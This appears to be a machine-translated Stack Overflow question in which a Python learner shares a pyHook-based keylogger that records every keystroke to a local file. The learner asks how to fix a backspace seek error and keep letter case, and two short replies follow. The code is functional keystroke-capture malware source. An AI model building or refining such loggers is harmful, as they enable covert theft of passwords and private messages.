由於我目前正在學習Python,因此我偶然發現了一段有趣的YouTube視頻,展示瞭如何構建一個簡單的Python鍵盤記錄。我決定稍微修改它,並使其能夠在用戶按下退格鍵時刪除最後一個字符,所以我添加了一個if語句和seek和truncate方法。當按下退格鍵(Python)時,鍵盤記錄引發錯誤
import pyHook, pythoncom, os
file_log = "D:/Python Projects/log.txt"
def OnKeyboardEvent(event):
global keylog
keylog = chr(event.Ascii)
with open(file_log, "a") as fl:
if event.Ascii == 13:
fl.write("\n")
elif event.Ascii == 8:
fl.seek(-1, os.SEEK_END)
fl.truncate()
else:
fl.write(keylog)
fl.close()
return True
hooking = pyHook.HookManager()
hooking.KeyDown = OnKeyboardEvent
hooking.HookKeyboard()
pythoncom.PumpMessages()
然而,當我嘗試運行代碼,並在退格鍵被按下時,我收到以下錯誤:
io.UnsupportedOperation: can't do nonzero end-relative seeks
因此,誰能幫助我? 此外,現在鍵盤記錄器將每個字符存儲爲大寫字母。有沒有一種方法可以修改腳本來識別角色是低位還是高位字母,並以這種方式進行存儲?
看起來你遇到了[這個其他問題]中描述的問題(https://stackoverflow.com/questions/21533391/seeking-from-end-of-file-throwing-unsupported-exception)。 –
你不應該讓你的'keylog'全局變量。這沒有理由。 – blubberdiblub